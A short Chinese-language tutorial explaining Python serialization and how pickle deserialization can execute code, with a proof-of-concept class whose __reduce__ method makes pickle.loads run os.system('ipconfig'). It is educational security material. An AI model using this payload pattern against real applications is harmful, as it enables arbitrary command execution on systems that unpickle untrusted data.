當我們希望在 Python 中保存一個物件(例如將機器學習訓練好的 Model 儲存為檔案,使得未來程式執行時可以將物件狀態直接讀取進記憶體中,不用從頭訓練),此時程式可以將物件的屬性與狀態利用特定的規則編碼,轉為資料序列進行儲存,這便稱為序列化 (Serialize) 。
序列化是許多程式語言都具備的功能,例如先前介紹過的 PHP;而將被序列化的物件還原的過程就稱為反序列化。
Pickle 是 Python 中提供序列化功能的常見 Module,(python2 中,除了 pickle 還有 cPickle)
pickle.dumps()
pickle.loads()

Python 中的 __reduce__,類似 PHP 物件中的 __wakeup() 方法,會在反序列化時自動呼叫
import pickle
import os
class Baba(object):
def __reduce__(self):
return os.system,("ipconfig",)
payload = pickle.dumps(Baba())
Baba
Baba 裡面有個 __reduce__ ,這是一個 magic method ,在反序列化時會自動被呼叫,並且自動執行回傳的參數:
os.system("ipconfig")。pickle.dumps(Baba()) 會建立一個 Baba 物件,並進行序列化。payload 傳入 pickle.loads ,就會成功執行 os.system ,得到 ipconfig 的結果